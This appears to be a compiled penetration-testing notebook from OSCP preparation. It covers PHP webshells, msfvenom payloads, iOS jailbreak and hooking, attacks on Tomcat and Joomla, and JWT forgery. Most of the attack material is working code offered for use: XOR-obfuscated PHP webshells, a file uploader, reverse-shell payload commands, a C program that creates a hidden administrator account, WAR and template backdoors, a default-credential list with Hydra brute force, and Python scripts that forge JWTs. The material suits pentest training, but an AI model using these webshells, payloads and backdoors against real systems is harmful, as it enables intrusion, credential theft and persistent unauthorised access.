<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

[*] Usage: http://target.com/path/to/shell.php?_=function&__=argument
[*] E.g.: http://target.com/path/to/shell.php?_=system&__=ls
```

#### Another Example Obfuscation of Simple PHP Webshell

```php
<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]); ?>
<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]); ?>

[*] Usage: http://target.com/path/to/shell.php?0=function&1=argument
[*] E.g.: http://target.com/path/to/shell.php?0=system&1=ls
```

**in case if some functions like system,exec,etc. are disabled we can use var\_dump or print\_r for print output some function:**

```php
<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]($_[2])); ?>
<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]($_[2])); ?>

[*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument
[*] E.g.:
    - http://target.com/path/to/shell.php?0=var_dump&1=scandir&2=.
    - http://target.com/path/to/shell.php?0=print_r&1=file_get_contents&2=/etc/passwd
```

#### Without Space Obfuscation PHP Web Shell

```php
<?=$_=${'_'.('{{{'^'<>/')};$_[0]($_[1]);?>

[*] Usage: http://target.com/path/to/shell.php?0=function&1=argument
[*] E.g.: http://target.com/path/to/shell.php?0=system&1=ls
```

**in case if some functions like system,exec,etc. are disabled we can use var\_dump or print\_r for print output some function:**

```php
<?=$_=${'_'.('{{{'^'<>/')};$_[0]($_[1]($_[2]));?>

[*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument
[*] E.g.: http://target.com/path/to/shell.php?0=print_r&1=glob&2=*
```

#### Without Space and Non-alphanumeric Obfuscation PHP Web Shell

```php
<?=$_=${'_'.('{{{'^'<>/')};$_['__']($_['___']);?>

[*] Usage: http://target.com/path/to/shell.php?__=function&___=argument
[*] E.g.: http://target.com/path/to/shell.php?__=system&___=ls
```

**in case if some functions like system,exec,etc. are disabled we can use var\_dump or print\_r for print output some function:**

```php
<?=$_=${'_'.('{{{'^'<>/')};$_['__']($_['___']($_['____']));?>

[*] Usage: http://target.com/path/to/shell.php?__=function1&___=function2&____=argument
[*] E.g.: http://target.com/path/to/shell.php?__=var_dump&___=scandir&____=/
```

### PHP Uploader

{% code overflow="wrap" %}

```php
<?php echo php_uname();echo '<br>';
echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Uploaded</b><br><br>'; }else { echo '<b>Upload Failed !!!</b><br><br>'; }}?>
```

{% endcode %}

### XOR Shell

Encoder PHP webshell to bypass WAF using XOR operations.

```bash
git clone https://github.com/GgBoom-993/xorshell
cd xorshell/
python3 xorshell.py -m GET -p cmd -o asuka.php

### access
http://localhost:8000/asuka.php?cmd=system('id');
```

### PHP Obfuscator

* <https://www.gaijin.at/en/tools/php-obfuscator>

### Reference

* <https://github.com/bayufedra/Tiny-PHP-Webshell>
* <https://github.com/lcatro/PHP-WebShell-Bypass-WAF>


# MSFvenom Generate Payload

Generate payload with MSFvenom

### Listing Available Options

```bash
msfvenom -l payloads # Payloads
msfvenom -l encoders # Encoders
msfvenom -l platforms # Platforms
msfvenom -l formats # Formats
```

{% hint style="info" %}
**Note**: I created this page during my OSCP preparation. All payloads here are for gaining a reverse shell through Netcat, as Metasploit (or Meterpreter) is prohibited.
{% endhint %}

### Web Based Payload

ASP Payload

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1337 -f asp > asuka.asp
```

PHP Payload

```bash
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
echo "<?php" | cat - shell.php > temp && mv temp shell.php
```

JSP Payload

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=31337 -f raw > shell.jsp
```

WAR Payload

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=31337 -f war > shell.war
```

### Windows

Create User

```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe -o adduser.exe
```

Execute Command

{% code overflow="wrap" %}

```bash
# x86
msfvenom -a x86 -p windows/exec CMD="calc.exe" -e x86/shikata_ga_nai -f exe -o payload.exe
# x64
msfvenom -p windows/x64/exec CMD="calc.exe" -f exe -e x64/xor_dynamic -o payload-x64.exe
```

{% endcode %}

Reverse Shell

{% code overflow="wrap" %}

```bash
# x86
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=4443 -f exe -e x86/shikata_ga_nai -o reverse86.exe
# x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4443 -f exe -e x64/xor_dynamic -o reverse64.exe
```

{% endcode %}

PowerShell

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=wlan0 LPORT=31337 -f psh -e x64/xor_dynamic -o rev.ps1
```

{% endcode %}

### Linux

{% code overflow="wrap" %}

```bash
# x86
msfvenom  -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=1337 -e x86/shikata_ga_nai -f elf -o asuka-x86.elf
# x64
msfvenom -a x64 -p linux -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=1337 -e x64/xor_dynamic -f elf -o asuka-64.elf
```

{% endcode %}

### Add Windows User

**adduser.c**

{% code overflow="wrap" %}

```c
#include <stdlib.h>

int main ()
{
	int i;
	i = system ("net user admoon Linuxsec#1337 /add");
	i = system ("net localgroup administrators admoon /add");

		return 0;
}
```

{% endcode %}

Compile:

{% code overflow="wrap" %}

```powershell
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

{% endcode %}


# iOS Penetration Testing

iOS Pentest Checklist

## Jailbreak

### palera1n

{% code overflow="wrap" %}

```bash
wget https://github.com/palera1n/palera1n/releases/download/v2.0.0-beta.5/palera1n-linux-x86_64
chmod +x palera1n-linux-x86_64
sudo mv palera1n-linux-x86_64 /usr/local/bin/palera1n
sudo chown root: /usr/local/bin/palera1n

# Rootful Jailbreak
sudo palera1n -fc

# After iPhone restart, run this command
sudo palera1n -f
```

{% endcode %}

### checkra1n

{% code overflow="wrap" %}

```bash
wget -O - https://assets.checkra.in/debian/archive.key | gpg --dearmor | sudo tee /usr/share/keyrings/checkra1n.gpg >/dev/null
echo 'deb [signed-by=/usr/share/keyrings/checkra1n.gpg] https://assets.checkra.in/debian /' | sudo tee /etc/apt/sources.list.d/checkra1n.list
sudo apt-get update
sudo apt-get install checkra1n

# jb
sudo checkra1n
```

{% endcode %}

## Repository

Here is a list of repositories that need to be added to Cydia or Sileo after iOS is jailbroken. Not all repositories need to be added; it depends on your needs.

* <https://cydia.akemi.ai/> - **Karen's** Repository
* <https://julioverne.github.io/> - **julioverne's** Repository
* <https://build.frida.re/> - **Frida** Repository
* <http://apt.thebigboss.org/repofiles/cydia/> - **TheBigBoss** Repository
* <https://uckermark.github.io/repo/> - **Uckermark's** Repository
* <https://repo.co.kr/> - **Merona** Repository
* <https://ios.jjolano.me/> - **jjolano**'s Repository
* <https://havoc.app/> - **Havoc** Repository
* <https://ryleyangus.com/repo/> - **Ryley Angus** Repository
* <https://repo.misty.moe/apt/> - **Misty's** Repository

## Applications

Here is a list of apps or tools that need to be installed after iOS is jailbroken.

### For Jailbreak Detection Bypass

| Apps             | Repo Source     |
| ---------------- | --------------- |
| **Shadow**       | **jjolano**     |
| **A-Bypass**     | **Merona**      |
| **HideJB**       | **BigBoss**     |
| **Not a bypass** | **Uckermark**   |
| **Hestia**       | **Havoc**       |
| **Liberty Lite** | **Ryley Angus** |

{% hint style="warning" %}
There's no need to enable all above tools when performing a jailbreak bypass. For instance, some apps can be bypassed using Hestia, while others can only be bypassed using Shadow, and so on.
{% endhint %}

### SSL Pinning Bypass

| Apps              | Repo Source               |
| ----------------- | ------------------------- |
| SSL Kill Switch 3 | **Misty's** Repository    |
| SSL Kill Switch 2 | **julioverne** repository |

{% hint style="danger" %}
**Note**: You can only choose between SSL Killswitch 2 or 3; you can't install all apps together.
{% endhint %}

### Utilities

<table data-full-width="false"><thead><tr><th>App Name</th><th>Description</th></tr></thead><tbody><tr><td><strong>appinst</strong></td><td>Used to install .ipa files via the terminal. Can be installed through the <strong>akemi</strong> repository.</td></tr><tr><td><strong>AppSync Unified</strong></td><td>A tweak that allows users to install ad-hoc signed, fakesigned, or unsigned IPAs. Can be installed via the <strong>akemi</strong> repository. </td></tr><tr><td><strong>openssh</strong></td><td>Used to connect to an iPhone device via the SSH protocol. It should be installed when jailbreaking using checkra1n or palera1n. The default SSH credentials are username: <strong>root</strong> and password: <strong>alpine</strong>. We recommend changing the default password immediately. </td></tr><tr><td><strong>Filza File Manager</strong></td><td>A GUI application used to explore the internal system and install .IPA files. Can be installed through the <strong>BigBoss</strong> repository or the palera1n repository for its 64-bit version.</td></tr><tr><td><strong>frida (server)</strong></td><td>Used for hooking and monitoring API calls. In some cases, if <strong>SSL Kill Switch</strong> fails to bypass SSL Pinning in an application, a custom script may be required, necessitating the installation of the frida server on the iPhone device.</td></tr></tbody></table>

## Tools

These tools are utilized for conducting penetration testing on iOS applications.

* **Frida -** Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at frida.re. **Install**: `pip3 install frida-tools`.
* **Objection -** Runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. **Install**: `pip3 install objection`.
* [**IPAtool**](https://github.com/majd/ipatool) **-** Command-line tool that allows searching and downloading app packages (known as ipa files) from the iOS App Store
* [**Grapefruit**](https://github.com/ChiChou/grapefruit) **-** Runtime Application Instruments for iOS. Install: `npm install -g igf`.
* [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) **-** pull decrypted ipa from jailbreak device
* [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) **-** Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.
* [**reFlutter**](https://github.com/Impact-I/reFlutter) **-** Flutter Reverse Engineering Framework

### Frida Scripts

This is a list of Frida scripts I have tested and that worked to bypass root detection or SSL pinning on iOS apps.

* [Jailbreak/Root Detection Bypass in Flutter by CyberCX-STA](https://github.com/CyberCX-STA/flutter-jailbreak-root-detection-bypass)
* [A Frida script that disables Flutter's TLS verification by @TheDauntless](https://codeshare.frida.re/@TheDauntless/disable-flutter-tls-v1/)
* [Bypass Flutter SSL Pinning by @Zionspike](https://codeshare.frida.re/@zionspike/bypass-flutter-pinning-ios/)
* [iOS Jailbreak Detection Bypass from by @@liangxiaoyi1024](https://codeshare.frida.re/@liangxiaoyi1024/ios-jailbreak-detection-bypass/)

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Objection

List all Objection commands used for iOS mobile app penetration testing.

### Explore App with Objection

{% code overflow="wrap" %}

```bash
objection -g com.example.app explore # com.example.app is example apps
```

{% endcode %}

### Run Objection Command at Spawn Apps

{% code overflow="wrap" %}

```bash
# Example command to run "ios hooking search classes jail" on spawn apps
objection -g com.example.app "ios hooking search classes jail"
```

{% endcode %}

### Basic Jailbreak Detection Bypass

```bash
ios jailbreak disable

# Example output:
com.example.app on (iPhone: 15.4.1) [usb] # 
(agent) [303462] fileExistsAtPath: check for /Applications/Cydia.app failed with: 0x0, marking it as successful.
(agent) [289052] fileExistsAtPath: check for /Applications/Cydia.app was successful with: 0x1, marking it as failed.
(agent) [289052] fileExistsAtPath: check for /bin/bash was successful with: 0x1, marking it as failed.
(agent) [289052] fopen: check for /bin/bash was successful with: 0x103404f98, marking it as failed.
..................
```

## Basic Enumeration

### Local App Paths

```bash
env

# Example output:
Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /private/var/containers/Bundle/Application/81AD95F9-3DA4-4CEB-BD50-442BD55D1D02/Example.app
CachesDirectory    /var/mobile/Containers/Data/Application/9EC4057E-FE48-4B9F-81D3-C0FB75BC2EA3/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/9EC4057E-FE48-4B9F-81D3-C0FB75BC2EA3/Documents
..........
```

### List bundles of the application

```bash
ios bundles list_bundles

# Example output:
com.example.app on (iPhone: 15.4.1) [usb] # ios bundles list_bundles
Executable              Bundle                            Version   Path
----------------------  --------------------------------  --------  -------------------------------------------
AGXMetalA11             com.apple.AGXMetalA11             190.17.2  ...em/Library/Extensions/AGXMetalA11.bundle
Runner                  com.example.app                   11.4.61   ...E-38A1-4FC0-AE77-0B2D26E7BF67/Runner.app
```

### List framework used by the application

```bash
ios bundles list_frameworks

# Example output:
Executable                      Bundle                                        Version    Path
------------------------------  --------------------------------------------  ---------  -------------------------------------------
share_plus                      org.cocoapods.share-plus                      0.0.1      ...nner.app/Frameworks/share_plus.framework
webview_flutter_wkwebview       org.cocoapods.webview-flutter-wkwebview       0.0.1      ...orks/webview_flutter_wkwebview.framework
DTTJailbreakDetection           org.cocoapods.DTTJailbreakDetection           0.4.0      ...ameworks/DTTJailbreakDetection.framework
```

## Basic Hooking

### List all classes

```bash
ios hooking list classes

# Example output:
com.example.app on (iPhone: 15.4.1) [usb] # ios hooking list classes
AAAFoundationSwift.AAFTimedAnalyticsEvent
AAAFoundationSwift.BroadcastMessageSender
AAAFoundationSwift.DependencyRegistry
AAAFoundationSwift.MessageSender
AAAFoundationSwift.OSActivity
AAAFoundationSwift.OSTransaction
AAAFoundationSwift.WeakWrapper
.................
```

### Search for classes

{% code overflow="wrap" %}

```bash
# Search a class that contains a string
ios hooking search classes jailbreak

# Example output:
com.example.app on (iPhone: 15.4.1) [usb] # ios hooking search classes jailbreak
PodsDummy_DTTJailbreakDetection
DTTJailbreakDetection
PodsDummy_flutter_jailbreak_detection
flutter_jailbreak_detection.SwiftFlutterJailbreakDetectionPlugin
FlutterJailbreakDetectionPlugin
..............
```

{% endcode %}

### Search for methods

{% code overflow="wrap" %}

```bash
# Search a method that contains a string
ios hooking search methods jail

# Example output:
com.example.app on (iPhone: 15.4.1) [usb] # ios hooking search methods jail
[DTTJailbreakDetection + isJailbroken]
[UIScreen + _shouldDisableJail]
[UIScreen - _unjailedReferenceBoundsForInterfaceOrientation:]
[UIScreen - _unjailedReferenceBoundsInPixels]
..........
```

{% endcode %}

### List class methods

```bash
# List methods of a specific class
ios hooking list class_methods DTTJailbreakDetection

# Example output:
com.example.app on (iPhone: 15.4.1) [usb]
+ isJailbroken

Found 1 methods
```

### Watch class

{% code overflow="wrap" %}

```bash
# Hook all the methods of a class, dump all the initial parameters and returns
ios hooking watch class DTTJailbreakDetection

# Hook an specific method of a class dumping the parameters, backtraces and returns of the method each time it's called
ios hooking watch method "*[iRoot isJailBroken]" --dump-args --dump-return --dump-backtrace
```

{% endcode %}

### Overwrite Return Value

{% code overflow="wrap" %}

```bash
ios hooking set return_value "*[iRoot isJailBroken]" false
```

{% endcode %}

### Generate Hooking Template

```
ios hooking generate simple iRoot
```

## Extract Sensitive Information

### Dump NSUserDefaults

NSUserDefaults is a simple storage mechanism commonly used for storing small amounts of data or user preferences. However, it's not a secure place to store sensitive information like passwords because it can be accessed easily by other apps or by jailbroken devices.

```bash
ios nsuserdefaults get

# Example output:
..........
"flutter.isStartStopGps" = 0;
    "flutter.isUploadResolution" = 0;
    "flutter.logACallObjectType" = 1;
    "flutter.mPin" = 1337;
    "flutter.mPinTime" = 7;
    "flutter.userEmail" = "redacted@redacted.com";
    "flutter.userId" = 1337;
.............
```

### Dump Keychain Data

Extracts the keychain items for the current application.

```bash
ios keychain dump
```

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Common Applications

Attacking Common Applications

Penetration Testers can come across various applications, such as Content Management Systems, custom web applications, internal portals used by developers and sysadmins, and more. It's common to find the same applications across many different environments. While an application may not be vulnerable in one environment, it may be misconfigured or unpatched in the next. It is important as an assessor to have a firm grasp of enumerating and attacking the common applications.


# Tomcat

Attacking Tomcat Service

### Default Credentials

{% code overflow="wrap" %}

```
admin:password
admin:
admin:Password1
admin:password1
admin:admin
admin:tomcat
both:tomcat
manager:manager
role1:role1
role1:tomcat
role:changethis
root:Password1
root:changethis
root:password
root:password1
root:r00t
root:root
root:toor
tomcat:tomcat
tomcat:s3cret
tomcat:password1
tomcat:password
tomcat:
tomcat:admin
tomcat:changethis
```

{% endcode %}

### Default Pages

* /examples/jsp/num/numguess.jsp&#x20;
* /examples/jsp/dates/date.jsp&#x20;
* /examples/jsp/snp/snoop.jsp&#x20;
* /examples/jsp/error/error.html&#x20;
* /examples/jsp/sessions/carts.html&#x20;
* /examples/jsp/checkbox/check.html&#x20;
* /examples/jsp/colors/colors.html&#x20;
* /examples/jsp/cal/login.html&#x20;
* /examples/jsp/include/include.jsp&#x20;
* /examples/jsp/forward/forward.jsp&#x20;
* /examples/jsp/plugin/plugin.jsp&#x20;
* /examples/jsp/jsptoserv/jsptoservlet.jsp&#x20;
* /examples/jsp/simpletag/foo.jsp&#x20;
* /examples/jsp/mail/sendmail.jsp&#x20;
* /examples/servlet/HelloWorldExample&#x20;
* /examples/servlet/RequestInfoExample&#x20;
* /examples/servlet/RequestHeaderExample&#x20;
* /examples/servlet/RequestParamExample&#x20;
* /examples/servlet/CookieExample&#x20;
* /examples/servlet/JndiServlet&#x20;
* /examples/servlet/SessionExample&#x20;
* /tomcat-docs/appdev/sample/web/hello.jsp&#x20;
* /docs

### Tomcat Path Traversal

Web servers and reverse proxies normalize the request path. For example, the path **/image/../image/** is normalized to **/images/**. When Apache Tomcat is used together with a reverse proxy such as nginx there is a nromalization inconsistency.\
\
Tomcat will threat the sequence **/..;/** as **/../** and normalize the path while reverse proxies will not normalize this sequence and send it to Apache Tomcat as it is.\
\
This allows an attacker to access Apache Tomcat resources that are not normally accessible via the reverse proxy mapping.

Reference:

* <https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/>

### Brute Force Attack

{% code overflow="wrap" %}

```bash
hydra -L users.txt -P passwords.txt -f 172.16.8.148 -s 8080 http-get /manager/
```

{% endcode %}

Example output:

```bash
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-06 21:36:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20 login tries (l:4/p:5), ~2 tries per task
[DATA] attacking http-get://172.16.8.148:8080/manager/
[8080][http-get] host: 172.16.8.148   login: admin   password: admin
[STATUS] attack finished for 172.16.8.148 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-06 21:36:02
```

And then, login into Tomcat Manager.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvZKD1qweQw89MqrzEJ1e1J1tcJ3rWizWLCWZzzGYVlMxy__d-6_HhXmrzFqndxwt0rORQ5nYFYRNppkcfjSzXmgwJMlDXGwUOnz8oE3myyUtQTagJQhbq6MiAv0MVQ6bWZrCbdxS7k8SMQqdNOT6SKnmT7qXnpfbMMP4XXEeAOK3zO04IWxl-Qgb2raw/s1000/tomcat-manager.png" alt=""><figcaption><p>Tomcat Manager</p></figcaption></figure>

### Backdooring Tomcat Manager

{% code overflow="wrap" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.8.1 LPORT=4448 -f war -o revshell.war
```

{% endcode %}

Or use Laudanum cmd.war shell at **/usr/share/laudanum/jsp**.

{% code overflow="wrap" %}

```bash
➜  jsp tree
.
├── cmd.war
├── makewar.sh
└── warfiles
    ├── cmd.jsp
    ├── META-INF
    │   └── MANIFEST.MF
    └── WEB-INF
        └── web.xml

4 directories, 5 files
```

{% endcode %}

Example of Laudanum WAR Shell

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw11cCHRkpxpt-Mrl8AEsmzZcRDa75MDV2X9EmAUXHAhqOuFMRFHyy_DNK3P88bCHD9raqARpGVbUGr2qknCKOjdb-lKfw8RKW9VhG32s3ekVBK3VZ79NQqQdnOnooaOO0K129Ueoq99t2DkQ2Q9d_cpD9FFIR5lupJ0H1z2GdNPXBTIoiOAs4jzpInUg/s1000/tomcat-mgr-rce.png" alt=""><figcaption><p>CMD Shell</p></figcaption></figure>

### Other Tools

* <https://github.com/p0dalirius/ApacheTomcatScanner>

Update soon....


# Joomla

Attacking Joomla CMS

### Enumeration

We can using **joomscan** to enumerate Joomla CMS.

{% code overflow="wrap" %}

```bash
joomscan  --url http://target.com -ec -r
```

{% endcode %}

Example output:

```bash
   ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://target.com ...


[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.10.0

[+] Core Joomla Vulnerability
[++] PHPMailer Remote Code Execution Vulnerability
CVE : CVE-2016-10033
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
https://github.com/opsxcq/exploit-CVE-2016-10033
EDB : https://www.exploit-db.com/exploits/40969/

PPHPMailer Incomplete Fix Remote Code Execution Vulnerability
CVE : CVE-2016-10045
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
EDB : https://www.exploit-db.com/exploits/40969/


[+] Checking Directory Listing
[++] directory has directory listing : 
http://target.com/administrator/components
http://target.com/administrator/modules
http://target.com/administrator/templates
http://target.com/images/banners
......
```

### Brute Force/Dictionary Attack

* <https://github.com/ajnik/joomla-bruteforce>

{% code overflow="wrap" %}

```bash
sudo python3 joomla-brute.py -u http://target.com -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
```

{% endcode %}

### Exploit Search

{% code overflow="wrap" %}

```bash
searchsploit "Joomla" -www
```

{% endcode %}

### Backdooring Joomla

Login with admin credentials. And go to Templates.

{% code overflow="wrap" %}

```
http://target.com/administrator/index.php?option=com_templates&view=templates
```

{% endcode %}

Edit one of the template file. Example: `error.php` at `beez3`.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfERNq0H6zfD_9ggzmQBbV9Naan88yGjRB6pr4ZVTfKsfV8Td2liTainV0RfpJRq3lkjgEPxPR4_6Gl9xeBoOcVXHp6toSFEhCjSiFx7SstWJUxyvJMjeuVHxsInU6FFIiJQ5NRgHCM_g4A-WL178rEt1Kjk1PAfGsqVlSzv-MuFeAJQg58GlqBYNVy5U/s1452/edit-joomla-template.png" alt=""><figcaption><p>Edit Joomla Templates</p></figcaption></figure>

And then, go to `target.com/templates/beez3/error.php` to access your backdoor.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqIx5AFm2pFhgMUw70EZloHTmymdrvwU0YXsiRTPV5c_9vYbAsRv76IlRRVQAVO7ic1YMV7uChfbda2VwDfmGsRX9QEZPVHs9DiTcj2ReND38Mc7gKYIjiNO_VJIMHFb_7tNN907yrdBKg_HkYaolo80QZ1S73GZPN57-qTg9HhJ0UKRvRGqE7o7PSPbI/s1457/backdoor-joomla.png" alt=""><figcaption><p>Joomla Backdoor</p></figcaption></figure>

Update soon....


# JWT Attacks

A practical guide for testing JSON Web Tokens (JWT)

### Token Discovery

Find where tokens are used in the application:

* `Authorization: Bearer <token>` headers
* Cookie values (`session`, `token`, `jwt`, etc.)
* URL parameters
* Request bodies

Determine how the token is transmitted and capture a valid, signed JWT.

***

### Token Inspection

Decode the token and inspect all three parts:

```
header.payload.signature
```

Check the header for:

* `alg` — signing algorithm (`HS256`, `RS256`, `none`, etc.)
* `kid` — key ID
* `jwk` — embedded JSON Web Key
* `jku` — JWK Set URL
* `x5c` — X.509 certificate chain
* `cty` — content type

Check the payload for sensitive claims:

* `sub`, `username`, `email`
* `role`, `isAdmin`
* `iat`, `exp`, `aud`, `iss`

Confirm the signature exists and is non-empty.

> The payload is only Base64url-encoded, not encrypted. Anyone can read it.

***

### Signature Verification Bypass

#### Missing signature verification

* Modify a claim such as `sub`, `username`, `role`, or `isAdmin`.
* Leave the original signature unchanged.
* Resend the request.
* If the server accepts the modified token, the application likely uses `decode()` instead of `verify()`.

Example in Python:

```python
import jwt, base64, json

token = "eyJ..."
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload['sub'] = 'administrator'
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{parts[0]}.{new_payload}.{parts[2]}"
```

#### Algorithm `none`

* Decode the header.
* Change `alg` to `none`.
* Modify the payload as desired.
* Re-encode the header and payload.
* Keep the trailing dot to preserve the `header.payload.` structure.

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ.
```

If the string `none` is blocked, try variants:

* `None`, `NONE`, `nOnE`
* Unexpected whitespace or encoding differences

#### Expected impact

* Account takeover by changing user identifier claims
* Privilege escalation by changing `role` or `isAdmin`
* Session extension or replay by tampering with time claims

***

### Weak Secret Recovery

Use this section when the token is signed with a symmetric algorithm (`HS*`).

Check whether the secret could be weak, default, or copied from documentation. Then run one of the following tools.

#### hashcat

```bash
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

Show previously cracked secrets without re-running:

```bash
hashcat -a 0 -m 16500 <jwt> <wordlist> --show
```

#### flask-unsign

Useful for Flask sessions that are JWT-like:

```bash
flask-unsign --decode --cookie "eyJ..."
flask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt
```

If no wordlist works, assess whether a short secret can be brute-forced character by character.

After recovering the secret, re-sign a modified token with `HS256` and confirm acceptance.

***

### Header Injection

#### Embedded JWK (`jwk`)

Use when the token header contains a `jwk` parameter.

* Generate a new RSA key pair.
* Modify the payload, for example change `role` to `administrator`.
* Sign the token with your private key.
* Embed your public key in the `jwk` header.
* Ensure the `kid` in the header matches the `kid` in the embedded JWK.
* Send the forged token and verify acceptance.

Example in Python:

```python
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt, base64

private_key = rsa.generate_private_key(65537, 2048, default_backend())
public_numbers = private_key.public_key().public_numbers()

jwk = {
    "kty": "RSA",
    "kid": original_header['kid'],
    "e": base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode(),
    "n": base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
}
forged = jwt.encode({"sub": "administrator"}, private_key, algorithm='RS256', headers={'jwk': jwk})
```

> Burp JWT Editor can automate this via **Attack → Embedded JWK**.

#### External JWK Set (`jku`)

Use when the token header contains a `jku` parameter.

* Host a JWK Set containing your public key on a server you control.
* Modify the payload.
* Sign the token with your private key.
* Set `jku` to your hosted JWK Set URL.
* Send the forged token.
* If `jku` hosts are restricted, test for URL parsing discrepancies, open redirects, or SSRF-like bypasses.

Example JWK Set:

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
      "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw"
    }
  ]
}
```

#### `jku` SSRF → Localhost Verification Bypass

The `jku` header can trigger SSRF to localhost-only endpoints. If the server performs side effects during key fetching (such as account verification), point `jku` to that endpoint.

Chain:

* Generate an RSA key pair.
* Forge a JWT with `jku` pointing to a localhost verification endpoint:

```python
header = {
    "alg": "RS256",
    "jku": "http://127.0.0.1:10000/api/verify_user_account?username=targetuser",
    "kid": "my-key",
    "typ": "JWT"
}
payload = {"sub": "targetuser", "verified": "true"}
```

* Sign with your private key.
* Server validates JWT → fetches `jku` URL → triggers account verification → accepts token.
* Verified account may unlock privileged endpoints.

> Even if external `jku` URLs are blocked, localhost endpoints with side effects may still be reachable.

#### Key ID (`kid`) abuse

Use when the server selects keys based on `kid`.

* Check whether `kid` is used as a filesystem path.
* Test path traversal:

```json
{
  "alg": "HS256",
  "kid": "../../path/to/file"
}
```

* Try pointing `kid` to `/dev/null` and signing with an empty string.

```python
forged = jwt.encode(
    {"sub": "administrator"},
    '',
    algorithm='HS256',
    headers={"kid": "../../../dev/null"}
)
```

* Try predictable file contents such as `../../../proc/sys/kernel/hostname`.
* Test `kid` for SQL injection if it is used in a database lookup.

#### Other header parameters

* Check for `x5c` and test self-signed certificate injection.
* If signature verification is bypassable, test `cty` pivots:
  * `text/xml` → XXE
  * `application/x-java-serialized-object` → deserialization

***

### Algorithm Confusion

Use this section when the token uses an asymmetric algorithm such as `RS256`.

* Capture a legitimate JWT and confirm `alg` is `RS256`.
* Obtain the server's public key from a JWK Set, certificate, or metadata endpoint.
* Modify the payload as desired.
